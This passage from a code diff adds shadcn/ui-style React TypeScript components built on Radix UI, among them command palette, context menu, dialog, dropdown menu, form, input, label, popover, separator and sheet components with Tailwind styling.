<Command className="[&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:font-medium [&_[cmdk-group-heading]]:text-muted-foreground [&_[cmdk-group]:not([hidden])_~[cmdk-group]]:pt-0 [&_[cmdk-group]]:px-2 [&_[cmdk-input-wrapper]_svg]:h-5 [&_[cmdk-input-wrapper]_svg]:w-5 [&_[cmdk-input]]:h-12 [&_[cmdk-item]]:px-2 [&_[cmdk-item]]:py-3 [&_[cmdk-item]_svg]:h-5 [&_[cmdk-item]_svg]:w-5">
{children}
</Command>
</DialogContent>
</Dialog>
)
}
const CommandInput = React.forwardRef<
React.ElementRef<typeof CommandPrimitive.Input>,
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Input>
>(({ className, ...props }, ref) => (
<div className="flex items-center border-b px-3" cmdk-input-wrapper="">
<MagnifyingGlassIcon className="mr-2 h-4 w-4 shrink-0 opacity-50" />
<CommandPrimitive.Input
ref={ref}
className={cn(
"flex h-10 w-full rounded-md bg-transparent py-3 text-sm outline-none placeholder:text-muted-foreground disabled:cursor-not-allowed disabled:opacity-50",
className
)}
{...props}
/>
</div>
))
CommandInput.displayName = CommandPrimitive.Input.displayName
const CommandList = React.forwardRef<
React.ElementRef<typeof CommandPrimitive.List>,
React.ComponentPropsWithoutRef<typeof CommandPrimitive.List>
>(({ className, ...props }, ref) => (
<CommandPrimitive.List
ref={ref}
className={cn("max-h-[300px] overflow-y-auto overflow-x-hidden", className)}
{...props}
/>
))
CommandList.displayName = CommandPrimitive.List.displayName
const CommandEmpty = React.forwardRef<
React.ElementRef<typeof CommandPrimitive.Empty>,
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Empty>
>((props, ref) => (
<CommandPrimitive.Empty
ref={ref}
className="py-6 text-center text-sm"
{...props}
/>
))
CommandEmpty.displayName = CommandPrimitive.Empty.displayName
const CommandGroup = React.forwardRef<
React.ElementRef<typeof CommandPrimitive.Group>,
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Group>
>(({ className, ...props }, ref) => (
<CommandPrimitive.Group
ref={ref}
className={cn(
"overflow-hidden p-1 text-foreground [&_[cmdk-group-heading]]:px-2 [&_[cmdk-group-heading]]:py-1.5 [&_[cmdk-group-heading]]:text-xs [&_[cmdk-group-heading]]:font-medium [&_[cmdk-group-heading]]:text-muted-foreground",
className
)}
{...props}
/>
))
CommandGroup.displayName = CommandPrimitive.Group.displayName
const CommandSeparator = React.forwardRef<
React.ElementRef<typeof CommandPrimitive.Separator>,
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Separator>
>(({ className, ...props }, ref) => (
<CommandPrimitive.Separator
ref={ref}
className={cn("-mx-1 h-px bg-border", className)}
{...props}
/>
))
CommandSeparator.displayName = CommandPrimitive.Separator.displayName
const CommandItem = React.forwardRef<
React.ElementRef<typeof CommandPrimitive.Item>,
React.ComponentPropsWithoutRef<typeof CommandPrimitive.Item>
>(({ className, ...props }, ref) => (
<CommandPrimitive.Item
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none data-[disabled=true]:pointer-events-none data-[selected=true]:bg-accent data-[selected=true]:text-accent-foreground data-[disabled=true]:opacity-50",
className
)}
{...props}
/>
))
CommandItem.displayName = CommandPrimitive.Item.displayName
const CommandShortcut = ({
className,
...props
}: React.HTMLAttributes<HTMLSpanElement>) => {
return (
<span
className={cn(
"ml-auto text-xs tracking-widest text-muted-foreground",
className
)}
{...props}
/>
)
}
CommandShortcut.displayName = "CommandShortcut"
export {
Command,
CommandDialog,
CommandInput,
CommandList,
CommandEmpty,
CommandGroup,
CommandItem,
CommandShortcut,
CommandSeparator,
}

View File

@@ -0,0 +1,202 @@
import * as React from "react"
import * as ContextMenuPrimitive from "@radix-ui/react-context-menu"
import {
CheckIcon,
ChevronRightIcon,
DotFilledIcon,
} from "@radix-ui/react-icons"
import { cn } from "@/lib/utils"
const ContextMenu = ContextMenuPrimitive.Root
const ContextMenuTrigger = ContextMenuPrimitive.Trigger
const ContextMenuGroup = ContextMenuPrimitive.Group
const ContextMenuPortal = ContextMenuPrimitive.Portal
const ContextMenuSub = ContextMenuPrimitive.Sub
const ContextMenuRadioGroup = ContextMenuPrimitive.RadioGroup
const ContextMenuSubTrigger = React.forwardRef<
React.ElementRef<typeof ContextMenuPrimitive.SubTrigger>,
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.SubTrigger> & {
inset?: boolean
}
>(({ className, inset, children, ...props }, ref) => (
<ContextMenuPrimitive.SubTrigger
ref={ref}
className={cn(
"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[state=open]:bg-accent data-[state=open]:text-accent-foreground",
inset && "pl-8",
className
)}
{...props}
>
{children}
<ChevronRightIcon className="ml-auto h-4 w-4" />
</ContextMenuPrimitive.SubTrigger>
))
ContextMenuSubTrigger.displayName = ContextMenuPrimitive.SubTrigger.displayName
const ContextMenuSubContent = React.forwardRef<
React.ElementRef<typeof ContextMenuPrimitive.SubContent>,
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.SubContent>
>(({ className, ...props }, ref) => (
<ContextMenuPrimitive.SubContent
ref={ref}
className={cn(
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className
)}
{...props}
/>
))
ContextMenuSubContent.displayName = ContextMenuPrimitive.SubContent.displayName
const ContextMenuContent = React.forwardRef<
React.ElementRef<typeof ContextMenuPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.Content>
>(({ className, ...props }, ref) => (
<ContextMenuPrimitive.Portal>
<ContextMenuPrimitive.Content
ref={ref}
className={cn(
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className
)}
{...props}
/>
</ContextMenuPrimitive.Portal>
))
ContextMenuContent.displayName = ContextMenuPrimitive.Content.displayName
const ContextMenuItem = React.forwardRef<
React.ElementRef<typeof ContextMenuPrimitive.Item>,
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.Item> & {
inset?: boolean
}
>(({ className, inset, ...props }, ref) => (
<ContextMenuPrimitive.Item
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
inset && "pl-8",
className
)}
{...props}
/>
))
ContextMenuItem.displayName = ContextMenuPrimitive.Item.displayName
const ContextMenuCheckboxItem = React.forwardRef<
React.ElementRef<typeof ContextMenuPrimitive.CheckboxItem>,
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.CheckboxItem>
>(({ className, children, checked, ...props }, ref) => (
<ContextMenuPrimitive.CheckboxItem
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
className
)}
checked={checked}
{...props}
>
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
<ContextMenuPrimitive.ItemIndicator>
<CheckIcon className="h-4 w-4" />
</ContextMenuPrimitive.ItemIndicator>
</span>
{children}
</ContextMenuPrimitive.CheckboxItem>
))
ContextMenuCheckboxItem.displayName =
ContextMenuPrimitive.CheckboxItem.displayName
const ContextMenuRadioItem = React.forwardRef<
React.ElementRef<typeof ContextMenuPrimitive.RadioItem>,
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.RadioItem>
>(({ className, children, ...props }, ref) => (
<ContextMenuPrimitive.RadioItem
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
className
)}
{...props}
>
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
<ContextMenuPrimitive.ItemIndicator>
<DotFilledIcon className="h-4 w-4 fill-current" />
</ContextMenuPrimitive.ItemIndicator>
</span>
{children}
</ContextMenuPrimitive.RadioItem>
))
ContextMenuRadioItem.displayName = ContextMenuPrimitive.RadioItem.displayName
const ContextMenuLabel = React.forwardRef<
React.ElementRef<typeof ContextMenuPrimitive.Label>,
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.Label> & {
inset?: boolean
}
>(({ className, inset, ...props }, ref) => (
<ContextMenuPrimitive.Label
ref={ref}
className={cn(
"px-2 py-1.5 text-sm font-semibold text-foreground",
inset && "pl-8",
className
)}
{...props}
/>
))
ContextMenuLabel.displayName = ContextMenuPrimitive.Label.displayName
const ContextMenuSeparator = React.forwardRef<
React.ElementRef<typeof ContextMenuPrimitive.Separator>,
React.ComponentPropsWithoutRef<typeof ContextMenuPrimitive.Separator>
>(({ className, ...props }, ref) => (
<ContextMenuPrimitive.Separator
ref={ref}
className={cn("-mx-1 my-1 h-px bg-border", className)}
{...props}
/>
))
ContextMenuSeparator.displayName = ContextMenuPrimitive.Separator.displayName
const ContextMenuShortcut = ({
className,
...props
}: React.HTMLAttributes<HTMLSpanElement>) => {
return (
<span
className={cn(
"ml-auto text-xs tracking-widest text-muted-foreground",
className
)}
{...props}
/>
)
}
ContextMenuShortcut.displayName = "ContextMenuShortcut"
export {
ContextMenu,
ContextMenuTrigger,
ContextMenuContent,
ContextMenuItem,
ContextMenuCheckboxItem,
ContextMenuRadioItem,
ContextMenuLabel,
ContextMenuSeparator,
ContextMenuShortcut,
ContextMenuGroup,
ContextMenuPortal,
ContextMenuSub,
ContextMenuSubContent,
ContextMenuSubTrigger,
ContextMenuRadioGroup,
}

View File

@@ -0,0 +1,120 @@
import * as React from "react"
import * as DialogPrimitive from "@radix-ui/react-dialog"
import { Cross2Icon } from "@radix-ui/react-icons"
import { cn } from "@/lib/utils"
const Dialog = DialogPrimitive.Root
const DialogTrigger = DialogPrimitive.Trigger
const DialogPortal = DialogPrimitive.Portal
const DialogClose = DialogPrimitive.Close
const DialogOverlay = React.forwardRef<
React.ElementRef<typeof DialogPrimitive.Overlay>,
React.ComponentPropsWithoutRef<typeof DialogPrimitive.Overlay>
>(({ className, ...props }, ref) => (
<DialogPrimitive.Overlay
ref={ref}
className={cn(
"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
className
)}
{...props}
/>
))
DialogOverlay.displayName = DialogPrimitive.Overlay.displayName
const DialogContent = React.forwardRef<
React.ElementRef<typeof DialogPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof DialogPrimitive.Content>
>(({ className, children, ...props }, ref) => (
<DialogPortal>
<DialogOverlay />
<DialogPrimitive.Content
ref={ref}
className={cn(
"fixed left-[50%] top-[50%] z-50 grid w-full max-w-lg translate-x-[-50%] translate-y-[-50%] gap-4 border bg-background p-6 shadow-lg duration-200 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[state=closed]:slide-out-to-left-1/2 data-[state=closed]:slide-out-to-top-[48%] data-[state=open]:slide-in-from-left-1/2 data-[state=open]:slide-in-from-top-[48%] sm:rounded-lg",
className
)}
{...props}
>
{children}
<DialogPrimitive.Close className="absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-accent data-[state=open]:text-muted-foreground">
<Cross2Icon className="h-4 w-4" />
<span className="sr-only">Close</span>
</DialogPrimitive.Close>
</DialogPrimitive.Content>
</DialogPortal>
))
DialogContent.displayName = DialogPrimitive.Content.displayName
const DialogHeader = ({
className,
...props
}: React.HTMLAttributes<HTMLDivElement>) => (
<div
className={cn(
"flex flex-col space-y-1.5 text-center sm:text-left",
className
)}
{...props}
/>
)
DialogHeader.displayName = "DialogHeader"
const DialogFooter = ({
className,
...props
}: React.HTMLAttributes<HTMLDivElement>) => (
<div
className={cn(
"flex flex-col-reverse sm:flex-row sm:justify-end sm:space-x-2",
className
)}
{...props}
/>
)
DialogFooter.displayName = "DialogFooter"
const DialogTitle = React.forwardRef<
React.ElementRef<typeof DialogPrimitive.Title>,
React.ComponentPropsWithoutRef<typeof DialogPrimitive.Title>
>(({ className, ...props }, ref) => (
<DialogPrimitive.Title
ref={ref}
className={cn(
"text-lg font-semibold leading-none tracking-tight",
className
)}
{...props}
/>
))
DialogTitle.displayName = DialogPrimitive.Title.displayName
const DialogDescription = React.forwardRef<
React.ElementRef<typeof DialogPrimitive.Description>,
React.ComponentPropsWithoutRef<typeof DialogPrimitive.Description>
>(({ className, ...props }, ref) => (
<DialogPrimitive.Description
ref={ref}
className={cn("text-sm text-muted-foreground", className)}
{...props}
/>
))
DialogDescription.displayName = DialogPrimitive.Description.displayName
export {
Dialog,
DialogPortal,
DialogOverlay,
DialogTrigger,
DialogClose,
DialogContent,
DialogHeader,
DialogFooter,
DialogTitle,
DialogDescription,
}

View File

@@ -0,0 +1,203 @@
import * as React from "react"
import * as DropdownMenuPrimitive from "@radix-ui/react-dropdown-menu"
import {
CheckIcon,
ChevronRightIcon,
DotFilledIcon,
} from "@radix-ui/react-icons"
import { cn } from "@/lib/utils"
const DropdownMenu = DropdownMenuPrimitive.Root
const DropdownMenuTrigger = DropdownMenuPrimitive.Trigger
const DropdownMenuGroup = DropdownMenuPrimitive.Group
const DropdownMenuPortal = DropdownMenuPrimitive.Portal
const DropdownMenuSub = DropdownMenuPrimitive.Sub
const DropdownMenuRadioGroup = DropdownMenuPrimitive.RadioGroup
const DropdownMenuSubTrigger = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.SubTrigger>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubTrigger> & {
inset?: boolean
}
>(({ className, inset, children, ...props }, ref) => (
<DropdownMenuPrimitive.SubTrigger
ref={ref}
className={cn(
"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-accent data-[state=open]:bg-accent",
inset && "pl-8",
className
)}
{...props}
>
{children}
<ChevronRightIcon className="ml-auto h-4 w-4" />
</DropdownMenuPrimitive.SubTrigger>
))
DropdownMenuSubTrigger.displayName =
DropdownMenuPrimitive.SubTrigger.displayName
const DropdownMenuSubContent = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>
>(({ className, ...props }, ref) => (
<DropdownMenuPrimitive.SubContent
ref={ref}
className={cn(
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className
)}
{...props}
/>
))
DropdownMenuSubContent.displayName =
DropdownMenuPrimitive.SubContent.displayName
const DropdownMenuContent = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>
>(({ className, sideOffset = 4, ...props }, ref) => (
<DropdownMenuPrimitive.Portal>
<DropdownMenuPrimitive.Content
ref={ref}
sideOffset={sideOffset}
className={cn(
"z-50 min-w-[8rem] overflow-hidden rounded-md border bg-popover p-1 text-popover-foreground shadow-md",
"data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className
)}
{...props}
/>
</DropdownMenuPrimitive.Portal>
))
DropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName
const DropdownMenuItem = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Item>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {
inset?: boolean
}
>(({ className, inset, ...props }, ref) => (
<DropdownMenuPrimitive.Item
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center gap-2 rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50 [&>svg]:size-4 [&>svg]:shrink-0",
inset && "pl-8",
className
)}
{...props}
/>
))
DropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName
const DropdownMenuCheckboxItem = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>
>(({ className, children, checked, ...props }, ref) => (
<DropdownMenuPrimitive.CheckboxItem
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
className
)}
checked={checked}
{...props}
>
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
<DropdownMenuPrimitive.ItemIndicator>
<CheckIcon className="h-4 w-4" />
</DropdownMenuPrimitive.ItemIndicator>
</span>
{children}
</DropdownMenuPrimitive.CheckboxItem>
))
DropdownMenuCheckboxItem.displayName =
DropdownMenuPrimitive.CheckboxItem.displayName
const DropdownMenuRadioItem = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>
>(({ className, children, ...props }, ref) => (
<DropdownMenuPrimitive.RadioItem
ref={ref}
className={cn(
"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-accent focus:text-accent-foreground data-[disabled]:pointer-events-none data-[disabled]:opacity-50",
className
)}
{...props}
>
<span className="absolute left-2 flex h-3.5 w-3.5 items-center justify-center">
<DropdownMenuPrimitive.ItemIndicator>
<DotFilledIcon className="h-4 w-4 fill-current" />
</DropdownMenuPrimitive.ItemIndicator>
</span>
{children}
</DropdownMenuPrimitive.RadioItem>
))
DropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName
const DropdownMenuLabel = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Label>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {
inset?: boolean
}
>(({ className, inset, ...props }, ref) => (
<DropdownMenuPrimitive.Label
ref={ref}
className={cn(
"px-2 py-1.5 text-sm font-semibold",
inset && "pl-8",
className
)}
{...props}
/>
))
DropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName
const DropdownMenuSeparator = React.forwardRef<
React.ElementRef<typeof DropdownMenuPrimitive.Separator>,
React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>
>(({ className, ...props }, ref) => (
<DropdownMenuPrimitive.Separator
ref={ref}
className={cn("-mx-1 my-1 h-px bg-muted", className)}
{...props}
/>
))
DropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName
const DropdownMenuShortcut = ({
className,
...props
}: React.HTMLAttributes<HTMLSpanElement>) => {
return (
<span
className={cn("ml-auto text-xs tracking-widest opacity-60", className)}
{...props}
/>
)
}
DropdownMenuShortcut.displayName = "DropdownMenuShortcut"
export {
DropdownMenu,
DropdownMenuTrigger,
DropdownMenuContent,
DropdownMenuItem,
DropdownMenuCheckboxItem,
DropdownMenuRadioItem,
DropdownMenuLabel,
DropdownMenuSeparator,
DropdownMenuShortcut,
DropdownMenuGroup,
DropdownMenuPortal,
DropdownMenuSub,
DropdownMenuSubContent,
DropdownMenuSubTrigger,
DropdownMenuRadioGroup,
}

View File

@@ -0,0 +1,176 @@
import * as React from "react"
import * as LabelPrimitive from "@radix-ui/react-label"
import { Slot } from "@radix-ui/react-slot"
import {
Controller,
ControllerProps,
FieldPath,
FieldValues,
FormProvider,
useFormContext,
} from "react-hook-form"
import { cn } from "@/lib/utils"
import { Label } from "@/components/ui/label"
const Form = FormProvider
type FormFieldContextValue<
TFieldValues extends FieldValues = FieldValues,
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>
> = {
name: TName
}
const FormFieldContext = React.createContext<FormFieldContextValue>(
{} as FormFieldContextValue
)
const FormField = <
TFieldValues extends FieldValues = FieldValues,
TName extends FieldPath<TFieldValues> = FieldPath<TFieldValues>
>({
...props
}: ControllerProps<TFieldValues, TName>) => {
return (
<FormFieldContext.Provider value={{ name: props.name }}>
<Controller {...props} />
</FormFieldContext.Provider>
)
}
const useFormField = () => {
const fieldContext = React.useContext(FormFieldContext)
const itemContext = React.useContext(FormItemContext)
const { getFieldState, formState } = useFormContext()
const fieldState = getFieldState(fieldContext.name, formState)
if (!fieldContext) {
throw new Error("useFormField should be used within <FormField>")
}
const { id } = itemContext
return {
id,
name: fieldContext.name,
formItemId: `${id}-form-item`,
formDescriptionId: `${id}-form-item-description`,
formMessageId: `${id}-form-item-message`,
...fieldState,
}
}
type FormItemContextValue = {
id: string
}
const FormItemContext = React.createContext<FormItemContextValue>(
{} as FormItemContextValue
)
const FormItem = React.forwardRef<
HTMLDivElement,
React.HTMLAttributes<HTMLDivElement>
>(({ className, ...props }, ref) => {
const id = React.useId()
return (
<FormItemContext.Provider value={{ id }}>
<div ref={ref} className={cn("space-y-2", className)} {...props} />
</FormItemContext.Provider>
)
})
FormItem.displayName = "FormItem"
const FormLabel = React.forwardRef<
React.ElementRef<typeof LabelPrimitive.Root>,
React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root>
>(({ className, ...props }, ref) => {
const { error, formItemId } = useFormField()
return (
<Label
ref={ref}
className={cn(error && "text-destructive", className)}
htmlFor={formItemId}
{...props}
/>
)
})
FormLabel.displayName = "FormLabel"
const FormControl = React.forwardRef<
React.ElementRef<typeof Slot>,
React.ComponentPropsWithoutRef<typeof Slot>
>(({ ...props }, ref) => {
const { error, formItemId, formDescriptionId, formMessageId } = useFormField()
return (
<Slot
ref={ref}
id={formItemId}
aria-describedby={
!error
? `${formDescriptionId}`
: `${formDescriptionId} ${formMessageId}`
}
aria-invalid={!!error}
{...props}
/>
)
})
FormControl.displayName = "FormControl"
const FormDescription = React.forwardRef<
HTMLParagraphElement,
React.HTMLAttributes<HTMLParagraphElement>
>(({ className, ...props }, ref) => {
const { formDescriptionId } = useFormField()
return (
<p
ref={ref}
id={formDescriptionId}
className={cn("text-[0.8rem] text-muted-foreground", className)}
{...props}
/>
)
})
FormDescription.displayName = "FormDescription"
const FormMessage = React.forwardRef<
HTMLParagraphElement,
React.HTMLAttributes<HTMLParagraphElement>
>(({ className, children, ...props }, ref) => {
const { error, formMessageId } = useFormField()
const body = error ? String(error?.message) : children
if (!body) {
return null
}
return (
<p
ref={ref}
id={formMessageId}
className={cn("text-[0.8rem] font-medium text-destructive", className)}
{...props}
>
{body}
</p>
)
})
FormMessage.displayName = "FormMessage"
export {
useFormField,
Form,
FormItem,
FormLabel,
FormControl,
FormDescription,
FormMessage,
FormField,
}

View File

@@ -0,0 +1,25 @@
import * as React from "react"
import { cn } from "@/lib/utils"
export interface InputProps
extends React.InputHTMLAttributes<HTMLInputElement> {}
const Input = React.forwardRef<HTMLInputElement, InputProps>(
({ className, type, ...props }, ref) => {
return (
<input
type={type}
className={cn(
"flex h-9 w-full rounded-md border border-input bg-transparent px-3 py-1 text-sm shadow-sm transition-colors file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:cursor-not-allowed disabled:opacity-50",
className
)}
ref={ref}
{...props}
/>
)
}
)
Input.displayName = "Input"
export { Input }

View File

@@ -0,0 +1,24 @@
import * as React from "react"
import * as LabelPrimitive from "@radix-ui/react-label"
import { cva, type VariantProps } from "class-variance-authority"
import { cn } from "@/lib/utils"
const labelVariants = cva(
"text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70"
)
const Label = React.forwardRef<
React.ElementRef<typeof LabelPrimitive.Root>,
React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root> &
VariantProps<typeof labelVariants>
>(({ className, ...props }, ref) => (
<LabelPrimitive.Root
ref={ref}
className={cn(labelVariants(), className)}
{...props}
/>
))
Label.displayName = LabelPrimitive.Root.displayName
export { Label }

View File

@@ -0,0 +1,31 @@
import * as React from "react"
import * as PopoverPrimitive from "@radix-ui/react-popover"
import { cn } from "@/lib/utils"
const Popover = PopoverPrimitive.Root
const PopoverTrigger = PopoverPrimitive.Trigger
const PopoverAnchor = PopoverPrimitive.Anchor
const PopoverContent = React.forwardRef<
React.ElementRef<typeof PopoverPrimitive.Content>,
React.ComponentPropsWithoutRef<typeof PopoverPrimitive.Content>
>(({ className, align = "center", sideOffset = 4, ...props }, ref) => (
<PopoverPrimitive.Portal>
<PopoverPrimitive.Content
ref={ref}
align={align}
sideOffset={sideOffset}
className={cn(
"z-50 w-72 rounded-md border bg-popover p-4 text-popover-foreground shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",
className
)}
{...props}
/>
</PopoverPrimitive.Portal>
))
PopoverContent.displayName = PopoverPrimitive.Content.displayName
export { Popover, PopoverTrigger, PopoverContent, PopoverAnchor }

View File

@@ -0,0 +1,29 @@
import * as React from "react"
import * as SeparatorPrimitive from "@radix-ui/react-separator"
import { cn } from "@/lib/utils"
const Separator = React.forwardRef<
React.ElementRef<typeof SeparatorPrimitive.Root>,
React.ComponentPropsWithoutRef<typeof SeparatorPrimitive.Root>
>(
(
{ className, orientation = "horizontal", decorative = true, ...props },
ref
) => (
<SeparatorPrimitive.Root
ref={ref}
decorative={decorative}
orientation={orientation}
className={cn(
"shrink-0 bg-border",
orientation === "horizontal" ? "h-[1px] w-full" : "h-full w-[1px]",
className
)}
{...props}
/>
)
)
Separator.displayName = SeparatorPrimitive.Root.displayName
export { Separator }

View File

@@ -0,0 +1,138 @@
import * as React from "react"
import * as SheetPrimitive from "@radix-ui/react-dialog"
import { Cross2Icon } from "@radix-ui/react-icons"
import { cva, type VariantProps } from "class-variance-authority"
import { cn } from "@/lib/utils"
const Sheet = SheetPrimitive.Root
const SheetTrigger = SheetPrimitive.Trigger
const SheetClose = SheetPrimitive.Close
const SheetPortal = SheetPrimitive.Portal
const SheetOverlay = React.forwardRef<
React.ElementRef<typeof SheetPrimitive.Overlay>,
React.ComponentPropsWithoutRef<typeof SheetPrimitive.Overlay>
>(({ className, ...props }, ref) => (
<SheetPrimitive.Overlay
className={cn(
"fixed inset-0 z-50 bg-black/80 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0",
className
)}
{...props}
ref={ref}
/>
))
SheetOverlay.displayName = SheetPrimitive.Overlay.displayName
const sheetVariants = cva(
"fixed z-50 gap-4 bg-background p-6 shadow-lg transition ease-in-out data-[state=closed]:duration-300 data-[state=open]:duration-500 data-[state=open]:animate-in data-[state=closed]:animate-out",
{
variants: {
side: {
top: "inset-x-0 top-0 border-b data-[state=closed]:slide-out-to-top data-[state=open]:slide-in-from-top",
bottom:
"inset-x-0 bottom-0 border-t data-[state=closed]:slide-out-to-bottom data-[state=open]:slide-in-from-bottom",
left: "inset-y-0 left-0 h-full w-3/4 border-r data-[state=closed]:slide-out-to-left data-[state=open]:slide-in-from-left sm:max-w-sm",
right:
"inset-y-0 right-0 h-full w-3/4 border-l data-[state=closed]:slide-out-to-right data-[state=open]:slide-in-from-right sm:max-w-sm",
},
},
defaultVariants: {
side: "right",
},
}
)
interface SheetContentProps
extends React.ComponentPropsWithoutRef<typeof SheetPrimitive.Content>,
VariantProps<typeof sheetVariants> {}
const SheetContent = React.forwardRef<
React.ElementRef<typeof SheetPrimitive.Content>,
SheetContentProps
>(({ side = "right", className, children, ...props }, ref) => (
<SheetPortal>
<SheetOverlay />
<SheetPrimitive.Content
ref={ref}
className={cn(sheetVariants({ side }), className)}
{...props}
>
<SheetPrimitive.Close className="absolute right-4 top-4 rounded-sm opacity-70 ring-offset-background transition-opacity hover:opacity-100 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 disabled:pointer-events-none data-[state=open]:bg-secondary">
<Cross2Icon className="h-4 w-4" />
<span className="sr-only">Close</span>
</SheetPrimitive.Close>
{children}
</SheetPrimitive.Content>
</SheetPortal>
))
